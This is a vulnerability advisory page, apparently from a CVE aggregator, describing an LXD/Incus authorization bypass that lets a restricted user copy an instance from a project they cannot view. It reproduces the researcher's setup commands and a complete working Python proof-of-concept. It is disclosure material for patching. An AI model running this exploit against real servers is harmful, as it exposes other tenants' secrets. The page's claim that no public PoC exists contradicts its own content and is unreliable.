GHSA-QX75-2P3R-PWM5
LXD has project restriction bypass in instance copy across projects
A user with access to one project can copy an instance from a project they cannot view, exposing stored secrets.
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QX75-2P3R-PWM5 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
LXD, a container and virtual machine manager, has a flaw that lets a user with access to one project copy an instance from a project they are not allowed to view, if they know the project and instance names, which could expose secrets stored in that instance. Because the attacker's access to the target server is needed, the copy can be made, and the copied instance can then be moved to another server.
Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
### Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
### Details
`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:Exploitation
The below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecureWait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/canonical/lxd |
Corregida | commit c5184be | — | — |
commit c5184beArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-55622https://github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrghttps://github.com/canonical/lxd/commit/97cb037794cb6b21c5a184eb5f3292207adbf6b2https://github.com/canonical/lxd/commit/bc1e20ea32dff6ae2df08803eee82832959ec80ehttps://github.com/canonical/lxd/commit/f7849615eb89e71a12ea76daaab6110bdf0fdf7fhttps://github.com/canonical/lxdhttps://github.com/canonical/lxd/releases/tag/lxd-5.0.7https://github.com/canonical/lxd/releases/tag/lxd-5.21.5https://github.com/canonical/lxd/releases/tag/lxd-6.8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
